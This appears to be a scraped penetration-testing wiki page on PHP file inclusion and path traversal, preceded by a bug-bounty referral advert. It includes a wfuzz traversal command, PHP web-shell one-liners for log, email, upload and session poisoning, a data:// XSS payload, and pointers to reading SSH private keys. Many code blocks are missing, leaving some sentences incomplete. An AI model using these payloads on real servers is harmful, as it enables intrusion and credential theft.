File Inclusion/Path Traversal
File Inclusion/Path traversal
Did you know that crypto projects pay more bounty rewards than their web2 counterparts? This crypto bounty alone is worth $1.000.000! Check out the top-paying bounties among crypto projects. Sign up on HackenProof to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %}
File Inclusion
Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include). Local File Inclusion (LFI): The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable PHP functions: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZLinux
Mixing several *nix LFI lists and adding more paths I have created this one:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Try also to change / for \
Try also to add ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
Merging several lists I have created:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Try also to change / for \
Try also to remove C:/ and add ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
Check the LFI list of linux.
Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
traversal sequences stripped non-recursively
Null byte (%00)
Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")
This is solved since PHP 5.4
Encoding
You could use non-standard encondings like double URL encode (and others):
From existent folder
Maybe the back-end is checking the folder path:
Identifying folders on a server
Depending on the applicative code / allowed characters, it might be possible to recursively explore the file system by discovering folders and not just files. In order to do so:
identify the "depth" of you current directory by succesfully retrieving
/etc/passwd(if on Linux):
try and guess the name of a folder in the current directory by adding the folder name (here,
private), and then going back to/etc/passwd:
if the application is vulnerable, there might be two different outcomes to the request:
if you get an error / no output, the
privatefolder does not exist at this locationif you get the content from
/etc/passwd, you validated that there is indeed aprivatefolder in your current directory
the folder(s) you discovered using this techniques can then be fuzzed for files (using a classic LFI method) or for subdirectories using the same technique recursively.
It is possible to adapt this technique to find directories at any location in the file system. For instance, if, under the same hypothesis (current directory at depth 3 of the file system) you want to check if /var/www/ contains a private directory, use the following payload:
The following sequence of commands allows the generation of payloads using sed (1) as input for url fuzzing tools such as ffuf (2):
Of course, adapt there payloads to your needs in terms of depth / location / input directory list.
Path truncation
Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")
Always try to start the path with a fake directory (a/).
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
Basic RFI
FROM LFI TO ARBITRARY CODE EXECUTION
Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check:
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Top 25 parameters
Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from link):
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Remove tags from the data (everything between "<" and ">" chars)Note that this filter has disappear from the modern versions of PHP
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console:iconv -l
{% hint style="warning" %} Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters. {% endhint %}
zlib.deflate: Compress the content (useful if exfiltrating a lot of info)zlib.inflate: Decompress the data
mcrypt.*: Deprecatedmdecrypt.*: Deprecated
Other Filters
Running in php
var_dump(stream_get_filters());you can find a couple of unexpected filters:consumeddechunk: reverses HTTP chunked encodingconvert.*
{% hint style="warning" %} The part "php://filter" is case insensitive {% endhint %}
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (not sure how this could be useful in an attack)
zip:// and rar://
Upload a Zip or Rar file with a PHPShell inside and access it. In order to be able to abuse the rar protocol it need to be specifically activated.
data://
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Note that this protocol is restricted by php configurations allow_url_open and allow_url_include
expect://
Expect has to be activated. You can execute code using this.
input://
Specify your payload in the POST parameters
phar://
A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.
{% code title="create_phar.php" %}
{% endcode %}
And you can compile the phar executing the following line:
A file called test.phar will be generated that you can use to abuse the LFI.
If the LFI is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol. For more information read the following post:
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
More protocols
Check more possible protocols to include here:
php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
zlib:// — Compression Streams
glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
ssh2:// — Secure Shell 2
ogg:// — Audio streams (Not useful to read arbitrary files)
LFI via PHP's 'assert'
If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.
A payload like this:
will successfully exploit PHP code for a "file" parameter that looks like this:
It's also possible to get RCE in a vulnerable "assert" statement using the system() function:
Be sure to URL-encode payloads before you send them.
LFI2RCE
Basic RFI
Via Apache log file
If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and execute code using the "c" GET parameter.
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header. Other possible log paths:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami
Via /proc/*/fd/*
Upload a lot of shells (for example : 100)
Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
Via upload
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
Via Zip fie upload
Upload a ZIP file containing a PHP shell compressed and access:
Via PHP sessions
Check if the website use PHP Session (PHPSESSID)
In PHP these sessions are stored into /var/lib/php5/sess\[PHPSESSID]_ files
Set the cookie to <?php system('cat /etc/passwd');?>
Use the LFI to include the PHP session file
Via ssh
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa
Via vsftpd logs
The logs of this FTP server are stored in /var/log/vsftpd.log. If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
Via php filters (no file needed)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Via Nginx temp file storage
If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Via PHP_SESSION_UPLOAD_PROGRESS
If you found a Local File Inclusion even if you don't have a session and session.auto_start is Off. If you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Via temp file uploads in Windows
If you found a Local File Inclusion and and the server is running in Windows you might get RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref
Via phpinfo() (file_uploads = on)
If you found a Local File Inclusion and a file exposing phpinfo() with file_uploads = on you can get RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
PHP_STREAM_PREFER_STUDIO + Path DisclosureIf you found a Local File Inclusion and you can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks, you can try to bypass that check with this Race Condition:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
References
PayloadsAllTheThings PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
Last updated